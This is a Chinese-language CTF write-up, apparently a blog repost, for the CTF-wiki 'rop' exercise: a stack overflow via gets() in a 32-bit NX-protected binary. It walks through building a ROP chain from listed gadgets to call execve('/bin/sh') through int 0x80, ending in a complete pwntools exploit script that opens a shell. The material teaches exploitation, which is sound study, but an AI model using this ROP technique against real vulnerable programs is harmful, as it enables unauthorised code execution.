[WP]CTFwiki-syscall

1.例行运行并检查程序,32位程序,开启了 NX 保护,这时我们之前写入 shellcode 执行就会失效

2.依然是通过 gets() 来覆盖返回值,当然尽管找到了 /bin/sh 字符串,我们并没有 system("/bin/sh") 来开启shell,这时我们需要调用系统中的函数,(ps:一个系统函数会有一个对应的系统调用号,这个我们可以在 Linux Syscall Reference 查询到)。

3.这里我们调用 execve() 来实现开启 shell。向 EAX 传入0x0b,EBX 中传入"/bin/sh", ECX 和 EDX 传入  0。

 

4.确定覆盖长度

5.寻找 gadget 来向寄存器传参,以此来构造 exp。当然 gadget 的利用并不唯一,能达到效果即可

 

6.这里我选用了如下几个 gadget

0x080bb196 : pop eax ; ret
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806eb6a : pop edx ; ret

7.构造 EXP

#!/usr/bin/env python 
from pwn import *

p = process('./rop')
#EBP: 0xffffd178 --> 0x8049630 (<__libc_csu_fini>:    push   ebx)
#ESP: 0xffffd0f0 --> 0xffffd10c --> 0x3
bin_sh = 0x080BE408
call_gets = 0x08048E96
pop_eax = 0x080bb196
pop_ecx_ebx = 0x0806eb91
pop_edx = 0x0806eb6a
int_0x80 = 0x08049421
payload = 'a'* (0x6c+4)
payload += p32(pop_eax)
payload += p32(0xb)
payload += p32(pop_ecx_ebx)
payload += p32(0)
payload += p32(bin_sh)
payload += p32(pop_edx)
payload += p32(0)
payload += p32(int_0x80)
p.recvuntil('?')
p.sendline(payload)
p.interactive()

猜你喜欢

转载自www.cnblogs.com/Tsuiyields/p/11877530.html